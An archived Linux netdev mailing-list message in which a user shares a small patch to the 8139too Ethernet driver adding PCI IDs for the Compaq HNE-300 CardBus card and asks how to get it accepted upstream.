"D. Hugh Redelmeier" Reply-To: "D. Hugh Redelmeier" To: netdev@oss.sgi.com Subject: adding a new card to 8139too Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2922 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hugh@mimosa.com Precedence: bulk X-list: netdev I have a Compaq HNE-300, a 10/100 ethernet CardBus adapter. The 8139too driver does not support this card but it is an easy matter to make the driver do so: just add an entry to each of three tables. I figured this out by looking at Donald Becker's driver. I've confirmed this by testing it on a Red Hat Linux 9 kernel. I would like to get this adopted upstream so that I don't have to keep building my own kernels. I've submitted a tracker item to the official 8139too home page, but that has gotten no attention: I've submitted a bug report to Red Hat, but that has gotten no attention: Any suggestions on what I should do? Although the Red Hat kernel version, the Source Forge version, and the kernel.org 2.4.24 version of the driver claim to be DRV_VERSION 0.9.26, there are significant differences between them. None supports my card, as far as I can tell. I've not tested this on a kernal.org 2.4 kernel. It would take me a bit of work to do so (the notebook with the card is in a different city). Here is the patch to 8139too.c that works for me on Red Hat Linux 9: =================================================================== RCS file: RCS/8139too.c,v retrieving revision 1.1 diff -u -r1.1 8139too.c --- 8139too.c 2003/10/22 16:55:51 1.1 +++ 8139too.c 2003/10/22 16:59:37 @@ -223,6 +223,7 @@ RTL8129, FNW3603TX, FNW3800TX, + HNE300, } board_t; @@ -244,6 +245,7 @@ { "RealTek RTL8129", RTL8129_CAPS }, { "Planex FNW-3603-TX 10/100 CardBus", RTL8139_CAPS }, { "Planex FNW-3800-TX 10/100 CardBus", RTL8139_CAPS }, + { "Compaq iPaq HNE-300 CardBus (RealTek RTL8139c)", RTL8139_CAPS }, }; @@ -260,6 +262,7 @@ {0x1259, 0xa117, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ALLIED8139 }, {0x14ea, 0xab06, PCI_ANY_ID, PCI_ANY_ID, 0, 0, FNW3603TX }, {0x14ea, 0xab07, PCI_ANY_ID, PCI_ANY_ID, 0, 0, FNW3800TX }, + {0x021b, 0x8139, PCI_ANY_ID, PCI_ANY_ID, 0, 0, HNE300 }, #ifdef CONFIG_8139TOO_8129 {0x10ec, 0x8129, PCI_ANY_ID, PCI_ANY_ID, 0, 0, RTL8129 }, ================ end ================ Hugh Redelmeier hugh@mimosa.com voice: +1 416 482-8253